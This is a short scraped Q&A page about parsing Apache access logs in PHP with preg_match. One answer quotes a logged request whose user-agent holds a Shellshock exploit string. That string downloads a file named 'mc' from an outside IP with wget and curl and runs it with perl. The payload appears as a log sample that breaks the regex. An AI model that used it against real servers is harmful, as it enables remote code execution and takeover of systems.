Parse Apache log in PHP using preg_match

后端 未结 5 1086
日久生厌
日久生厌 2020-12-23 14:34

I need to save data in a table (for reporting, stats etc...) so a user can search by time, user agent etc. I have a script that runs every day that reads the Apache Log and

5条回答
  •  余生分开走
    2020-12-23 15:04

    I've tried using a couple of the regexps here Jan 2015, and find that a bad bot is not getting a match in my apache2 log.

    The bad bot apache2 line is a BASH hack attempt, and I haven't tried to figure out the regexp correction yet:

    199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""
    

提交回复
热议问题